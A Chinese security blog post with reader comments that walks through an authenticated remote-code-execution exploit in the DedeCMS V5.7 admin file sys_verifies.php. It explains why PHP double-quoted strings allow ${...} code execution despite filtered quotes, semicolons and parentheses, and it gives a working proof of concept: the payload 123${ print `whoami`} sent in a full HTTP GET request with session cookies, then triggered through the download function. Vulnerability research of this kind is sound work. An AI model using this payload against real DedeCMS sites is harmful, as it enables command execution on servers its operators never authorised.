梅子酒哥哥18年的时候在先知发过一篇文章Dedecms V5.7后台的两处getshell,那个时候我可能初中还没毕业,大概讲的就是dedecms在sys_verifies.php里存在一处直接将用户输入写入文件的情况:
当然,毕竟这东西又不是php文件,可能开发也不太注意,觉得黑客没有利用的空间,不过难绷的是就在同一个php文件里,他就引用了这个文件:
假期的时候学校做傻逼实训,所以在实训的时候审了几套代码,我发现好多开发都有这种奇怪的错觉,觉得这个文件不是php文件所以就没做什么过滤,所以就直接写入用户的输入,然后就在不远处引用了这个文件(特别是那种html模板,用户往往能直接编辑模板而不能直接编辑php文件,但是有些php文件往往直接include了html模板文件,导致我们可以轻松RCE)
梅子酒哥哥选择用引号闭合最后成功逃逸,因为写入那一行的逻辑是:
fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
其实写入的内容就是
$files[$i] = "$filename";
所以闭合一下引号就逃逸成功喜提RCE。当然这么多年过去了,我都从初中生到快大学毕业了,开发也是有智力的,所以我们现在再来看这里可以发现已经新增加了很多过滤
双引号、分号和圆括号都没了,如果是梅子酒哥哥的那个poc确实是打不通了,不过转换一下思路,这就变成了一道ctf题,没有双引号、分号和括号,我们可以向一个引号包括的变量中写入值,有什么办法RCE呢?
首先,这里有一个非常非常关键的问题,那就是这是什么引号,事实上我确实也没啥php开发基础,我之前一直没感觉双引号和单引号有啥差别,都是随便混用的,但翻了一下官方文档发现其实二者有非常非常巨大的差别,打开php官方文档,我们来看看官方对于二者是怎么区分的PHP:Strings
很明显,单引号包括一个字符串,那他就真的只是一个字符串,no thing special,我们再来看看双引号:
可以看出来双引号和单引号最大的差别,就是双引号会解析特殊变量
特别是遇到美元符号时,他会对他进行解析,并且使用花括号明确变量的界限,甚至于还可以直接执行代码
p神在自己的博客上也提到过,可以使用${@phpinfo()}这种方法直接执行双引号中的字符串,把字符串转变成代码,@是php中的容错符号,php引擎判断花括号内是代码还是单纯的字符串就是看文本中的第一个字符串是不是特殊的分割符号或者语法符号,因此除了@,换成其他的特殊字符也能让php以代码的形式直接执行双引号里的字符串
<?php
$a="${ print(1)}";//空格
$b="${ print(2)}";//tab键
$c="${@print(3)}";//@
$d="${/**/print(4)}";//注释符
$e="${
print(5)}";//回车
?>
而dedecms这里就是使用的双引号包裹的变量,因此我们不需要从引号中逃逸出来也可以直接执行代码,现在就是其他的问题,没有分号和括号我们还能执行代码吗?幸运的是,还是可以的,虽然开发者在其他的地方过滤了反引号,但这里并没有,所以很幸运,我们这里还可以用print `whoami`
这种方式执行代码
$filename = substr($filename,3,strlen($filename)-3);
filename截取了前三位,所以还要在前三位写脏字符,最后我们可以自然而然的构造出来最后的poc:
123${ print `whoami`}
GET /dede/sys_verifies.php?action=getfiles&refiles[]=123${%20print%20`whoami`} HTTP/1.1
Host: 127.0.0.14
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.14/dede/login.php
Connection: close
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=qsod0dmlccs5lmeelhljcbrons; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=d29cf97094346e6f; DedeLoginTime=1724173360; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=95b1462e8823584f; _csrf_name_2ed73adc=62610daa67ed49ade6b4e28cb2bedb48; _csrf_name_2ed73adc1BH21ANI1AGD297L1FF21LN02BGE1DNG=6d2886cecb9989c9
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
成功发包请求,缓存文件中的内容正如我们想要的一样
最后再用download功能触发一次文件包含,成功rce
整个过程十分ctf,这里也可以看出来很多开发对于安全完全没有什么理解,对于单引号和双引号可能和我一样没有什么区分,所以直接乱用了,在这种初始化赋值的位置,使用单引号很明显是更合适的方式,并且也对黑客的攻击方式产生了错误的认知,认为过滤了引号 括号和分号就能防止攻击者的攻击,实际上黑客的花活很多,各种绕过方法层出不穷,这最多算是新生赛入门的难度。当然,甚至于过滤了反引号这里其实还是有办法rce,因为include这个函数就不需要空格,配合陆队那个trick也可以直接rce,安全之路任重道远啊。
热乎热乎
支持一下